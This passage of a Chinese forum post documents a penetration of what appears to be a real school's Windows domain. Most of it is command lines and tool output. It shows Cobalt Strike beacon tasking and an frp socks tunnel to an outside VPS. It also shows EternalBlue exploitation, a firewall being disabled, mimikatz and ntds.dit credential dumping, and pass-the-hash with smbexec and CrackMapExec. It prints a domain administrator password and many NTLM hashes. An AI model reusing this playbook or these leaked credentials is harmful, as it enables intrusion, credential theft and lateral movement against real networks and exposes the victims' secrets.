- STPC-34[ DISCUZ_CODE_2237 ]nbsp; STPC-35[ DISCUZ_CODE_2237 ]nbsp; STPC-36[ DISCUZ_CODE_2237 ]nbsp;
- STPC-37[ DISCUZ_CODE_2237 ]nbsp; STPC-38[ DISCUZ_CODE_2237 ]nbsp; STPC-39[ DISCUZ_CODE_2237 ]nbsp;
- STPC-40[ DISCUZ_CODE_2237 ]nbsp; STPC-41[ DISCUZ_CODE_2237 ]nbsp; STPC-42[ DISCUZ_CODE_2237 ]nbsp;
- STPC-43[ DISCUZ_CODE_2237 ]nbsp; STPC-44[ DISCUZ_CODE_2237 ]nbsp; STPC-45[ DISCUZ_CODE_2237 ]nbsp;
- STPC-46[ DISCUZ_CODE_2237 ]nbsp; STPC-47[ DISCUZ_CODE_2237 ]nbsp; STPC-48[ DISCUZ_CODE_2237 ]nbsp;
- STPC-49[ DISCUZ_CODE_2237 ]nbsp; STPREPC[ DISCUZ_CODE_2237 ]nbsp; STPRE-PC[ DISCUZ_CODE_2237 ]nbsp;
- STUFILES[ DISCUZ_CODE_2237 ]nbsp; SURVEILLANCE[ DISCUZ_CODE_2237 ]nbsp; T1-WIN7[ DISCUZ_CODE_2237 ]nbsp;
- TEACHER-WU[ DISCUZ_CODE_2237 ]nbsp; TEST-WIN10-1[ DISCUZ_CODE_2237 ]nbsp; TRYPC001[ DISCUZ_CODE_2237 ]nbsp;
- VICE-DIRECTOR[ DISCUZ_CODE_2237 ]nbsp; VICE-PRINCIPAL[ DISCUZ_CODE_2237 ]nbsp; VIDEOSPIDER[ DISCUZ_CODE_2237 ]nbsp;
- WEGO-DC3[ DISCUZ_CODE_2237 ]nbsp; WEGO-DC4[ DISCUZ_CODE_2237 ]nbsp; WIN101A[ DISCUZ_CODE_2237 ]nbsp;
- WIN101B[ DISCUZ_CODE_2237 ]nbsp; WIN101C[ DISCUZ_CODE_2237 ]nbsp; WIN101D[ DISCUZ_CODE_2237 ]nbsp;
- WIN103A[ DISCUZ_CODE_2237 ]nbsp; WIN103B[ DISCUZ_CODE_2237 ]nbsp; WIN103C[ DISCUZ_CODE_2237 ]nbsp;
- WIN103D[ DISCUZ_CODE_2237 ]nbsp; WIN103E[ DISCUZ_CODE_2237 ]nbsp; WIN103F[ DISCUZ_CODE_2237 ]nbsp;
- WIN104E[ DISCUZ_CODE_2237 ]nbsp; WIN104F[ DISCUZ_CODE_2237 ]nbsp; WIN105E[ DISCUZ_CODE_2237 ]nbsp;
- WIN105F[ DISCUZ_CODE_2237 ]nbsp; WIN106A[ DISCUZ_CODE_2237 ]nbsp; WIN106B[ DISCUZ_CODE_2237 ]nbsp;
- WIN106C[ DISCUZ_CODE_2237 ]nbsp; WIN106D[ DISCUZ_CODE_2237 ]nbsp; WIN106E[ DISCUZ_CODE_2237 ]nbsp;
- WIN10ART12[ DISCUZ_CODE_2237 ]nbsp; WIN10-ART12[ DISCUZ_CODE_2237 ]nbsp; WIN10ART34[ DISCUZ_CODE_2237 ]nbsp;
- WIN10ART56[ DISCUZ_CODE_2237 ]nbsp; WIN10MULTI[ DISCUZ_CODE_2237 ]nbsp; WIN10MUSIC34[ DISCUZ_CODE_2237 ]nbsp;
- WIN10MUSIC56[ DISCUZ_CODE_2237 ]nbsp; WIN10OFFICE01[ DISCUZ_CODE_2237 ]nbsp; WIN10OFFICE02[ DISCUZ_CODE_2237 ]nbsp;
- WIN10OFFICE03[ DISCUZ_CODE_2237 ]nbsp; WIN10OFFICE04[ DISCUZ_CODE_2237 ]nbsp; WIN10SCIENCE34[ DISCUZ_CODE_2237 ]nbsp;
- WIN10SCIENCE56[ DISCUZ_CODE_2237 ]nbsp; WIN7PROX86-01[ DISCUZ_CODE_2237 ]nbsp; WIN7VM[ DISCUZ_CODE_2237 ]nbsp;
- WIN7VM-AP[ DISCUZ_CODE_2237 ]nbsp; WU-TEACHING$
- beacon> shell C:\Windows\TAPI\SharpHound.exe -c all</li><li> Tasked beacon to run: C:\Windows\TAPI\SharpHound.exe -c all
- [+] host called home, sent: 68 bytes
- [+] received output:
- ------------------------------------------------
- Initializing SharpHound at 下午 03:37 on 2020/12/8
- ------------------------------------------------
- Resolved Collection Methods: Group, Sessions, LoggedOn, Trusts, ACL, ObjectProps, LocalGroups, SPNTargets, Container
- [+] Creating Schema map for domain xx.xx.x x.xx using path CN=Schema,CN=Configuration,DC=WGPS,DC=TP,DC=EDU,DC=TW
- [+] Cache File not Found: 0 Objects in cache
- [+] Pre-populating Domain Controller SIDS
- Status: 0 objects finished (+0) -- Using 19 MB RAM
- [+] received output:
- [+] Creating Schema map for domain 10.10.11.13 using path CN=Schema,CN=Configuration,DC=10,DC=10,DC=11,DC=13
- Status: 1528 objects finished (+1528 52.68966)/s -- Using 50 MB RAM
- [+] received output:
- Status: 1674 objects finished (+146 28.37288)/s -- Using 49 MB RAM
- [+] received output:
- Status: 1675 objects finished (+1 18.61111)/s -- Using 47 MB RAM
- [+] received output:
- Status: 1675 objects finished (+0 13.95833)/s -- Using 47 MB RAM
- [+] received output:
- Status: 1676 objects finished (+1 11.63889)/s -- Using 47 MB RAM
- Enumeration finished in 00:02:24.3737596
- Compressing data to .\20201208153758_BloodHound.zip
- You can upload this file directly to the UI
- SharpHound Enumeration Completed at 下午 03:40 on 2020/12/8! Happy Graphing!</li>
复制代码
内网代理搭建
一开始我使用的是cs的自带代理信息socks4,发现很不稳定,之后使用frp进行穿透。
服务端vps
- [common]
- bind_addr = 0.0.0.0
- dashboard_user = good
- dashboard_pwd = good
- dashboard_port = 7500
- bind_port = 7000
复制代码
访问vps:7500端口,也是可以看到图形界面。
目标靶机
配置frpc.ini
- [common]
- server_addr =1.1.1.1
- server_port = 7000
- [socks5]
- type = tcp
- remote_port = 60000
- plugin = socks5
- use_encryption = true
- use_compression = true
复制代码
上传frpc
- <li>beacon> upload /Users/apple/Documents/steady-sec/NW/frp/frpc_full.ini (C:\Windows\TAPI\frpc_full.ini)</li><li> Tasked beacon to upload /Users/apple/Documents/steady-sec/NW/frp/frpc_full.ini as C:\Windows\TAPI\frpc_full.ini
- [+] host called home, sent: 8402 bytes
- beacon> upload /Users/apple/Documents/steady-sec/NW/frp/frpc.ini (C:\Windows\TAPI\frpc.ini)</li><li> Tasked beacon to upload /Users/apple/Documents/steady-sec/NW/frp/frpc.ini as C:\Windows\TAPI\frpc.ini
- [+] host called home, sent: 195 bytes</li><li> Tasked beacon to upload /Users/apple/Documents/steady-sec/NW/frp/frpc as C:\Windows\TAPI\frpc</li>
复制代码
win10虚拟机中,使用Proxifier,配置代理。
之后使用任何软件,右键->roxifier->选择正确的代理。
拿下域控制器
批量口令碰撞445端口
查看开放445端口的主机- beacon> shell C:\Windows\TAPI\fscan64.exe -h 10.10.10.1/24 -p 445
复制代码
本地挂代理使用fscan进行扫描
- fscan -h 10.10.10.5 -p 445 -user Administrator -pwd jo6ek6vul3vm,6 -domain WEGO -np
复制代码
或者
- go run main.go -h 10.10.10.5 -p 445 -np -user Administrator -pwd jo6ek6vul3vm,6 -domain
- SMB:10.10.10.3:445:Administrator jo6ek6vul3vm,6 WEGO
- SMB:10.10.10.41:445:Administrator jo6ek6vul3vm,6 WEGO
- SMB:10.10.10.19:445:Administrator jo6ek6vul3vm,6 WEGO
- SMB:10.10.10.20:445:Administrator jo6ek6vul3vm,6 WEGO
- SMB:10.10.10.126:445:Administrator jo6ek6vul3vm,6 WEGO
- SMB:10.10.10.154:445:Administrator jo6ek6vul3vm,6 WEGO
- SMB:10.10.10.4:445:Administrator jo6ek6vul3vm,6 WEGO
- SMB:10.10.10.1:445:Administrator jo6ek6vul3vm,6 WEGO
- SMB:10.10.10.6:445:Administrator jo6ek6vul3vm,6 WEGO
- SMB:10.10.10.2:445:Administrator jo6ek6vul3vm,6 WEGO
- SMB:10.10.10.100:445:Administrator jo6ek6vul3vm,6 WEGO
- SMB:10.10.10.42:445:Administrator jo6ek6vul3vm,6 WEGO
- SMB:10.10.10.10:445:Administrator jo6ek6vul3vm,6 WEGO
- SMB:10.10.10.5:445:Administrator jo6ek6vul3vm,6 WEGO
复制代码
尝试登录域控制器3389。
批量扫描MS17010
- beacon> Ladon 10.10.10.8/24 MS17010
- [+] host called home, sent: 1036383 bytes
- [+] received output:
- Ladon 7.0
- Start: 2020-12-04 17:29:22
- Runtime: .net 4.0 OS Arch: x64
- OS Name: Microsoft Windows Server 2012 R2 Standard
- 10.10.10.8/24
- load MS17010
- 10.10.10.8/24 is Valid CIDR
- IPCound: 256
- Scan Start: 2020-12-04 17:29:22
- 10.10.10.1 MAIL xx.xx.x x.xx [Win 2012 R2 Standard 9600]
- 10.10.10.48 neweclient.xx.xx.x x.xx
- 10.10.10.34 workpc2019.xx.xx.x x.xx
- 10.10.10.20 FILES2 xx.xx.x x.xx [Win 2012 Standard 9200]
- 10.10.10.19 FILES2 xx.xx.x x.xx [Win 2012 Standard 9200]
- 10.10.10.5 DATABASE xx.xx.x x.xx [Win 2012 R2 Standard 9600]
- 10.10.10.42 account-7.xx.xx.x x.xx
- 10.10.10.46 account3050.xx.xx.x x.xx
- 10.10.10.38 dell7020b-36.xx.xx.x x.xx
- 10.10.10.8 WIN-XF2DOSIWBRF [Win (R) 2008 Standard 6003 SP 2]
- 10.10.10.6 FILES xx.xx.x x.xx [Win 2012 Standard 9200]
- 10.10.10.9 WIN-XF2DOSIWBRF [Win (R) 2008 Standard 6003 SP 2]
- 10.10.10.4 AD3 xx.xx.x x.xx [Win 2012 R2 Standard 9600]
- 10.10.10.17 CDTOWER17 xx.xx.x x.xx [??渀?漀?猀??攀?瘀攀???刀??? ???琀愀渀?愀???? ???攀?瘀?挀攀?倀愀挀欀??]
- 10.10.10.2 AD1 xx.xx.x x.xx [Win 2012 R2 Standard 9600]
- 10.10.10.39 ASUS-500G4-PC xx.xx.x x.xx [Win 7 Professional 7601 SP 1]
- 10.10.10.41 MS17-010 PCSCRIBE-7 xx.xx.x x.xx [Win 7 Professional 7601 SP 1]
- 10.10.10.3 AD2 xx.xx.x x.xx [Win 2012 R2 Standard 9600]
- 10.10.10.45 KG-JOOMLA [Win 2008 R2 Standard 7601 SP 1]
- 10.10.10.35 2014JUINYIHWIN7 [Win 7 Professional 7601 SP 1]
- 10.10.10.22 ACADEMIC xx.xx.x x.xx [Win 7 Professional 7601 SP 1]
- 10.10.10.100 CARD100 [Win 7 Professional 7601 SP 1]
- 10.10.10.90 DFL-FILES2017 [Win 6.1]
- [+] received output:
- 10.10.10.10 MEDIA-DOME [Win 6.1]
- [+] received output:
- 10.10.10.59 school-3070.xx.xx.x x.xx
- [+] received output:
- 10.10.10.115 3060-1e.xx.xx.x x.xx
- 10.10.10.126 3060-2f.xx.xx.x x.xx
- 10.10.10.142 win104b.xx.xx.x x.xx
- 10.10.10.154 3060-5d.xx.xx.x x.xx
- [+] received output:
- =============================================
- OnlinePC:34
- Cidr Scan Finished!
- End: 2020-12-04 17:30:06
复制代码
41这个IP有漏洞
- 10.10.10.41 MS17-010 PCSCRIBE-7 xx.xx.x x.xx [Win 7 Professional 7601 SP 1]
复制代码
使用工具进行利用
- <li>check.bat IP
- ms17010.bat IP +系统版本
- go.bat IP 位数
- C:\Users\good>cd C:\Users\good\Desktop\nw\ms17-010\
- C:\Users\good\Desktop\nw\ms17-010>check.bat 10.10.10.41
- [+] SMB Touch started
- </li><li> TargetIp 10.10.10.41</li><li> TargetPort 445</li><li> RedirectedTargetIp (null)</li><li> RedirectedTargetPort 0</li><li> NetworkTimeout 60</li><li> Protocol SMB</li><li> Credentials Anonymous
- </li><li> Connecting to target...
- [+] Initiated SMB connection
- [+] Target OS Version 6.1 build 7601
- Windows 7 Professional 7601 Service Pack 1
- </li><li> Trying pipes...
- [-] spoolss - Not accessible (0xC0000022 - NtErrorAccessDenied)
- [-] browser - Not accessible (0xC0000022 - NtErrorAccessDenied)
- [-] lsarpc - Not accessible (0xC0000022 - NtErrorAccessDenied)
- [-] No pipes accessible
- [Not Supported]
- ETERNALSYNERGY - Target OS version not supported
- [Not Vulnerable]
- ETERNALROMANCE - Named pipe required for exploit
- [Vulnerable]
- ETERNALBLUE - DANE
- ETERNALCHAMPION - DANE
- </li><li> Writing output parameters
- [+] Target is vulnerable to 2 exploits
- [+] Touch completed successfully
- C:\Users\good\Desktop\nw\ms17-010>MS17-010_.bat 10.10.10.41</li><li> MS17-010 Exploit // lu4n.com</li><li> Connecting to target for exploitation.
- [+] Connection established for exploitation.</li><li> Pinging backdoor...
- [+] Backdoor returned code: 10 - Success!
- [+] Ping returned Target architecture: x86 (32-bit)
- [+] Backdoor is already installed -- nothing to be done.</li><li> CORE sent serialized output blob (2 bytes):
- 0x00000000 08 01 ..</li><li> Received output parameters from CORE
- [+] CORE terminated with status code 0x00000000
- C:\Users\good\Desktop\nw\ms17-010>go.bat 10.10.10.41 64
- Architecture: 64 is not a valid value.
- Architecture: 64 is not a valid value.
- ^C终止批处理操作吗(Y/N)? y
- C:\Users\good\Desktop\nw\ms17-010>go.bat 10.10.10.41 x64
- [+] Selected Protocol SMB
- [.] Connecting to target...
- [+] Connected to target, pinging backdoor...
- [+] Backdoor returned code: 10 - Success!
- [+] Ping returned Target architecture: x86 (32-bit) - XOR Key: 0x894EDE86
- SMB Connection string is: Windows 7 Professional 7601 Service Pack 1
- Target OS is: 7 x86
- Target SP is: 1
- [+] Backdoor installed
- [-] DLL Architecture is: 64 bit
- Error sending wrong architecture DLL to target
- [-] DLL NOT built
- [+] Selected Protocol SMB
- [.] Connecting to target...
- [+] Connected to target, pinging backdoor...
- [+] Backdoor returned code: 10 - Success!
- [+] Ping returned Target architecture: x86 (32-bit) - XOR Key: 0x894EDE86
- SMB Connection string is: Windows 7 Professional 7601 Service Pack 1
- Target OS is: 7 x86
- Target SP is: 1
- [+] Backdoor installed
- [-] DLL Architecture is: 64 bit
- Error sending wrong architecture DLL to target
- [-] DLL NOT built
- C:\Users\good\Desktop\nw\ms17-010>go.bat 10.10.10.41 x86
- [+] Selected Protocol SMB
- [.] Connecting to target...
- [+] Connected to target, pinging backdoor...
- [+] Backdoor returned code: 10 - Success!
- [+] Ping returned Target architecture: x86 (32-bit) - XOR Key: 0x894EDE86
- SMB Connection string is: Windows 7 Professional 7601 Service Pack 1
- Target OS is: 7 x86
- Target SP is: 1
- [+] Backdoor installed
- [+] DLL built
- [.] Sending shellcode to inject DLL
- [+] Backdoor returned code: 10 - Success!
- [+] Backdoor returned code: 10 - Success!
- [+] Backdoor returned code: 10 - Success!
- [+] Backdoor returned code: 10 - Success!
- [+] Backdoor returned code: 10 - Success!
- [+] Backdoor returned code: 10 - Success!
- [+] Backdoor returned code: 10 - Success!
- [+] Backdoor returned code: 10 - Success!
- [+] Backdoor returned code: 10 - Success!
- [+] Backdoor returned code: 10 - Success!
- [+] Backdoor returned code: 10 - Success!
- [+] Backdoor returned code: 10 - Success!
- [+] Command completed successfully</li>
复制代码
成功进入目标机器,本打算使用hta继续弹一个beacon给cs,但是尝试了几次不好使。
使用密码登录3389,但是没有登录成功,3389确实开启,这里关闭防火墙。
- C:\Windows\system32>netsh advfirewall set allprofiles state off
- netsh advfirewall set allprofiles state off
- Ok.
复制代码
成功连接,连接上去之后,发现有杀毒,信任beacon或者添加c盘信任。
同样的方式拿下3,2,4,41。
横向移动
发现还有11个网段。
使用fcan扫描一下具体信息
- <li>beacon> shell C:\Windows\TAPI\f.exe -h 10.10.11.1/24 -pwdf C:\Windows\TAPI\pass.txt -user Administrator -domain WEGO -o C:\Windows\TAPI\1.txt
- [+] received output:
- 10.10.11.99 (Windows 7 Professional 7601 Service Pack 1)
- NetInfo:</li><li>10.10.11.8
- [->]Win7x64Pro
- [->]10.10.11.8
- NetInfo:</li><li>10.10.11.99
- [->]backuwego
- [->]10.10.11.99
- [->]10.30.10.199
- NetInfo:</li><li>10.10.11.6
- [->]stufiles
- [->]10.10.11.6
- 10.10.11.8 (Windows 7 Professional 7601 Service Pack 1)
- WebTitle:<a href="http://10.10.11.6:80" target="_blank">http://10.10.11.6:80</a> 403 IIS 8.0 閰喟敦�航炊 - 403.14 - Forbidden
- NetInfo:</li><li>10.10.11.7
- [->]digireadweb
- [->]10.10.11.7
- 10.10.11.7 (Windows Server (R) 2008 Standard 6003 Service Pack 2)
- WebTitle:<a href="http://10.10.11.95:443" target="_blank">http://10.10.11.95:443</a> 400 400 Bad Request
- WebTitle:<a href="http://10.10.11.95:80" target="_blank">http://10.10.11.95:80</a> 200 None
- SMB:10.10.11.6:445:WEGO\Administrator jo6ek6vul3vm,6
- WebTitle:<a href="http://10.10.11.14:80" target="_blank">http://10.10.11.14:80</a> 200 " + ID_EESX_Welcome + "
- WebTitle:<a href="http://10.10.11.15:80" target="_blank">http://10.10.11.15:80</a> 200 " + ID_EESX_Welcome + "
- WebTitle:<a href="https://10.10.11.14:443" target="_blank">https://10.10.11.14:443</a> 200 " + ID_EESX_Welcome + "
- WebTitle:<a href="https://10.10.11.15:443" target="_blank">https://10.10.11.15:443</a> 200 " + ID_EESX_Welcome + "
- WebTitle:<a href="https://10.10.11.16:443" target="_blank">https://10.10.11.16:443</a> 200 " + ID_EESX_Welcome + "
- WebTitle:<a href="http://10.10.11.16:80" target="_blank">http://10.10.11.16:80</a> 200 " + ID_EESX_Welcome + "
- WebTitle:<a href="http://10.10.11.10:80" target="_blank">http://10.10.11.10:80</a> 200 " + ID_EESX_Welcome + "
- WebTitle:<a href="https://10.10.11.10:443" target="_blank">https://10.10.11.10:443</a> 200 " + ID_EESX_Welcome + "
- WebTitle:<a href="http://10.10.11.7:80" target="_blank">http://10.10.11.7:80</a> 200 �����梯��訾�撠���-嚚��梯��扳��霈�嚚�
- WebTitle:<a href="https://10.10.11.95:443" target="_blank">https://10.10.11.95:443</a> 200 None
- [+] received output:
- WebTitle:<a href="https://10.10.11.77:443" target="_blank">https://10.10.11.77:443</a> 200 Vigor 登入页面
- WebTitle:<a href="http://10.10.11.77:80" target="_blank">http://10.10.11.77:80</a> 200 Vigor 登入页面
- WebTitle:<a href="https://10.10.11.254:443" target="_blank">https://10.10.11.254:443</a> 200 Vigor Login Page
- WebTitle:<a href="https://10.10.11.20:443" target="_blank">https://10.10.11.20:443</a> 200 Vigor 登入页面
- WebTitle:<a href="http://10.10.11.254:80" target="_blank">http://10.10.11.254:80</a> 200 Vigor Login Page
- WebTitle:<a href="https://10.10.11.80:443" target="_blank">https://10.10.11.80:443</a> 200 CN8000A - Cover
- [+] received output:
- scan end</li>
复制代码
扫描smb服务看一下
- beacon> shell C:\Windows\TAPI\f.exe -h 10.10.11.1/24 -pwdf C:\Windows\TAPI\pass.txt -user Administrator -domain WEGO -o C:\Windows\TAPI\1.txt -p 445 -m smb
- icmp alive hosts len is: 21
- 10.10.11.7:445 open
- 10.10.11.8:445 open
- 10.10.11.6:445 open
- 10.10.11.99:445 open
- SMB:10.10.11.6:445:WEGO\Administrator jo6ek6vul3vm,6
复制代码
机器很多,尝试哈希传递攻击。
登录域控制器10.2的3389使用迷你卡姿,抓去所有域内的hash。
- beacon> shell c:\Windows\TAPI\mimikatz.exe ""privilege::debug"" ""lsadump::lsa /patch full"" exit >>c:\Windows\TAPI\log1.txt
复制代码
或者使用cs插件
- ID : 00000e07 (3591)
- User : ws4311
- LM : 54191cf4166bc549aad3b435b51404ee
- NTLM : 4790310f070043b5d1709a30aede1a27
- RID : 00000e08 (3592)
- User : ws4312
- LM : 03b93594f7afee8caad3b435b51404ee
- NTLM : 5dab331d3681f85c85503c9437cfc03b
- RID : 00000e09 (3593)
- User : ws4313
- LM : d4cb20e652df2393aad3b435b51404ee
- NTLM : b6a56cab9d2568151015094e90cbd21d
- RID : 00000e0a (3594)
- User : ws4314
- LM : 687ac937560351a6aad3b435b51404ee
- NTLM : d7a7fca890e9f3c1d435bd5fc0caf327
- RID : 00000e0b (3595)
- User : ws4315
- LM : 0a19188cf464dda2aad3b435b51404ee
- NTLM : 6f748524eda9a94cb30dd323695b092e
- RID : 00000e0c (3596)
- User : ws4316
- LM : 7784d6e4bdf4f440aad3b435b51404ee
- NTLM : 3cb0a4c08952437b6311db01eedd3c45
复制代码
密码很多,这里就截取一部分。
导出域成员hash
SAM数据库中保存的信息进行提取,全面获取系统中的密码信息,还要对SAM数据库中保存的信息进行提取,导出当前系统中所有本地用户的hash。
- C:\Windows\system32>ntdsutil snapshot "activate instance ntds" create quit quit
- ntdsutil: snapshot
- 快照: activate instance ntds
- 使用中执行个体已设定为 "ntds"。
- 快照: create
- 正在建立快照...
- 快照集 {1dc812ae-3ae6-475b-bb67-ccafe028ae69} 已经成功产生。
- 快照: quit
- ntdsutil: quit
- C:\Windows\system32>ntdsutil snapshot "mount {1dc812ae-3ae6-475b-bb67-ccafe028ae
- 69}" quit quit
- ntdsutil: snapshot
- 快照: mount {1dc812ae-3ae6-475b-bb67-ccafe028ae69}
- 快照 {3f3a24b3-ce4f-4096-852a-0b3864a8909d} 已挂接为 C:\$SNAP_202012062103_VOLUM
- EC$\
- 快照: quit
- ntdsutil: quit
- C:\Windows\system32>copy C:\$SNAP_202012062103_VOLUMEC$\Windows\NTDS\ntds.dit c:
- \ntds.dit
- 复制了 1 个档案。
- C:\Windows\system32>
- 最后删除快照
- C:\Windows\system32>ntdsutil snapshot "unmount {1dc812ae-3ae6-475b-bb67-ccafe028
- ae69}" quit quit
- ntdsutil: snapshot
- 快照: unmount {1dc812ae-3ae6-475b-bb67-ccafe028ae69}
- 快照 {3f3a24b3-ce4f-4096-852a-0b3864a8909d} 已卸載。
- 快照: quit
- ntdsutil: quit
- C:\Windows\system32>ntdsutil snapshot "delete {1dc812ae-3ae6-475b-bb67-ccafe028
- ae69}" quit quit
- ntdsutil: snapshot
- 快照: delete {1dc812ae-3ae6-475b-bb67-ccafe028ae69}
- 快照 {3f3a24b3-ce4f-4096-852a-0b3864a8909d} 已經刪除。
- 快照: quit
- ntdsutil: quit
- C:\Windows\system32>
复制代码
导出sam和system:
- C:\Windows\system32>reg save hklm\sam sam.hiv
复制代码
操作顺利完成。
- C:\Windows\system32>reg save hklm\sam sam.hiv
复制代码
本地使用secretsdump.py,导出hash
- <li>➜ Public python3 1.py -ntds ntds.dit -system system.hiv LOCAL
- Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
- </li><li> Target system bootKey: 0xaf91815108821533b8b5c1365be697c1</li><li> Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)</li><li> Searching for pekList, be patient</li><li> PEK # 0 found and decrypted: e28acd8770d422291bab9e2a9f8901d4</li><li> Reading and decrypting hashes from ntds.dit
- AD2$:15142:aad3b435b51404eeaad3b435b51404ee:ef72a0d5642a9234a14daf517e4a9ccc:::
- AD3-OLD$:16625:aad3b435b51404eeaad3b435b51404ee:ef5035822b6ada38890c81bced3e7427:::
- AD1$:16630:aad3b435b51404eeaad3b435b51404ee:216f5e93e84c580d8c7d54995b82f35d:::
- Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
- TsInternetUser:1000:22c206eac925d8cb606c5c8235eade10:65b4ce0675d0bb69277b75712e409528:::
- IUSR_MAIL:1004:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
- IWAM_MAIL:1005:a7aa223e7443a354630461ad9692aa95:0792a2872e4c3fe838d2d35a985e4e6f:::
- Administrator:500:e74b5db312ea77404726d0d0bb05c458:a9398c8a95dbe6801f280d2cfb9c76de:::</li>
复制代码
哈希传递攻击与基于IPC的横向移动
PTH仍然是基于IPC远程连接实现的。
smbexec 可以通过文件共享(admin$,c$,ipc$,d$)在远程系统中执行命令。
目标系统必须开放445端口并且C$共享。
- smbexec.py -hashes :<hash> 域/域用户名@192.168.10.2
复制代码
需要根据上面我们在域控制器中抓取的密码,找到对应ip的对应主机名和哈希,才能使用smbexe,这里找到AD3的对应关系。
- ➜ Downloads python3 smbexec.py <a href="mailto:administrator@10.10.10.3">administrator@10.10.10.3</a> -hashes :a9398c8a95dbe6801f280d2cfb9c76de
- Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
- [!] Launching semi-interactive shell - Careful what you execute
- C:\Windows\system32>whoami
- nt authority\system
- C:\Windows\system32>
- ➜ NW python3 smbexec.py <a href="mailto:Administrator@10.10.10.41">Administrator@10.10.10.41</a> -hashes :a9398c8a95dbe6801f280d2cfb9c76de
- Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
- [!] Launching semi-interactive shell - Careful what you execute
- C:\Windows\system32>
- ➜ NW python3 smbexec.py <a href="mailto:administrator@10.10.10.38">administrator@10.10.10.38</a> -hashes :a9398c8a95dbe6801f280d2cfb9c76de
- Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
- [!] Launching semi-interactive shell - Careful what you execute
- C:\WINDOWS\system32>
复制代码
接着尝试3389等,中马,反弹cs就行。
使用CrackMapExec实现Hash传递:
- <li>SMB 10.10.10.5 445 DATABASE [+] xx.xx.x x.xx\administrator a9398c8a95dbe6801f280d2cfb9c76de (Pwn3d!)
- SMB 10.10.10.88 445 NONE </li><li> FXNICOS 0.1 (name:) (domain:) (signing:False) (SMBv1:True)
- SMB 10.10.10.100 445 CARD100 </li><li> Windows 7 Professional 7601 Service Pack 1 (name:CARD100) (domain:xx.xx.x x.xx) (signing:False) (SMBv1:True)
- SMB 10.10.10.2 445 AD1 [+] xx.xx.x x.xx\administrator a9398c8a95dbe6801f280d2cfb9c76de (Pwn3d!)
- SMB 10.10.10.20 445 FILES2 [+] xx.xx.x x.xx\administrator a9398c8a95dbe6801f280d2cfb9c76de (Pwn3d!)
- SMB 10.10.10.101 445 PERSONNEL-3060 </li><li> Windows 10.0 Build 17134 x64 (name:PERSONNEL-3060) (domain:xx.xx.x x.xx) (signing:False) (SMBv1:False)
- SMB 10.10.10.19 445 FILES2 [+] xx.xx.x x.xx\administrator a9398c8a95dbe6801f280d2cfb9c76de (Pwn3d!)
- SMB 10.10.10.22 445 ACADEMIC [+] xx.xx.x x.xx\administrator a9398c8a95dbe6801f280d2cfb9c76de (Pwn3d!)
- SMB 10.10.10.103 445 LIB-3020-83 </li><li> Windows 7 Professional 7601 Service Pack 1 (name:LIB-3020-83) (domain:xx.xx.x x.xx) (signing:False) (SMBv1:True)
- SMB 10.10.10.3 445 AD2 [+] xx.xx.x x.xx\administrator a9398c8a95dbe6801f280d2cfb9c76de (Pwn3d!)
- SMB 10.10.10.4 445 AD3 [+] xx.xx.x x.xx\administrator a9398c8a95dbe6801f280d2cfb9c76de (Pwn3d!)
- SMB 10.10.10.39 445 ASUS-500G4-PC [-] xx.xx.x x.xx\administrator:a9398c8a95dbe6801f280d2cfb9c76de STATUS_NETLOGON_NOT_STARTED</li>
复制代码
这里注意该工具可以看到主机ip与用户名的对应关系,结合之前拿到的hash文件:1.txt.ntds,把用户名、主机ip、用户hash就结合起来了。这里截取一部分`。
- STPC-37$:7840:aad3b435b51404eeaad3b435b51404ee:24eaa29232d5eab4d560f748bc4649b4:::
- STPC-33$:7847:aad3b435b51404eeaad3b435b51404ee:6ca428fed76b726f1656f3606cb0b2c9:::
- STPC-16$:7819:aad3b435b51404eeaad3b435b51404ee:ca8ff27d7b093aff95922a0b88e77f5c:::
复制代码
然后使用smbexec.py一个一个尝试。
网断还有个11段,太菜了,等学习了一下在打。
简单看了一下,有web服务、ftp等。
这里推荐一个师傅写的内网扫描器:
https://github.com/shadow1ng/fscan
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|